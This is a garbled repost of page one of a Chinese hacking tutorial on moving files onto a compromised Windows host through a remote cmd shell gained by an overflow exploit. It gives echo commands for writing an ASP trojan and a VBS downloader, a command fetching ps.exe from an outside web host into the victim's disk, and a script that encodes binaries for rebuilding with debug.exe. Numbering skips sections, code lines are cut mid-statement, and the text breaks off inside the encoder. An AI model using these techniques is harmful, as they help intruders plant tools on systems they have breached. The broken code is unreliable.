Do All in Cmd Shell一切在命令行下完成第1/6頁
2020-06-09 14:13:38
供稿:網友
文件傳輸
對于溢出漏洞獲得的cmd shell,最大的問題就是如何上傳文件。由于蠕蟲病毒流行,連接ipc$所需要的139或445端口被路由封鎖。再加上WinXP系統加強了對ipc$的保護,通過ipc$及默認共享上傳文件的手段基本無效了。ftp和tftp是兩種可行的方法,介于其已被大家熟知,本文就不介紹了。還有三種大家熟悉的辦法,作為總結我再提一下:
1,用Echo命令寫ASP木馬。
前提當然是目標主機上已經安裝了IIS。
一般的ASP木馬"體積"較大,不適合直接用echo命令寫入文件,這里我提供一個小巧的。
直接給出echo版:
@echo ^ >up.asp
注意,只有一行,中間沒有回車符。
生成的up.asp不能用瀏覽器訪問,只能用下面這個腳本:
with wscript
if .arguments.count>dl.vbs
@echo w.open "get",.arguments(0),0:w.send:if w.status^>200 then .echo "Error:"+w.status:.quit>>dl.vbs
@echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs
舉例——下載ps.exe并保存到c:/path下:
cscript dl.vbs http://www.sometips.com/soft/ps.exe c:/path/ps.exe
注意,這是在遠程shell中執行的。
4,Echo經過編碼的任何文件,再用腳本+debug還原。
前面兩個辦法都不能保證穿過防火墻。而且,除非自己架Web服務器,一般的Web資源都是以壓縮文件的形式提供。如果目標主機沒有解壓工具,還是沒轍。那么只有出"殺手锏"了!
echo命令加重定向x作符可以寫入ASCII碼小于128的字符,但大于等于128的不行。只有將本地文件重新"編碼"為可顯示的字符,才能方便地寫入遠程主機。首先能想到的就是base64編碼,即email附件的編碼方式。但vbs不支持位x作,因此編碼和解碼較復雜。更麻煩的是,腳本以二進制流方式處理文件的能力很差。(ADODB.Stream可以以流方式寫文件,但我無法構造出相應的數據類型。二進制數據流可以用midb函數轉成字符串,但反過來不行。我花了兩天時間,還是沒能解決這個問題。如果有誰能用vbs或js寫任意的字節數據到文件中,懇請賜教。)
無奈只有請debug.exe出馬了。原理很多人都知道,我不介紹了,直接給出成果——編碼腳本:
fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"/"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl/65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_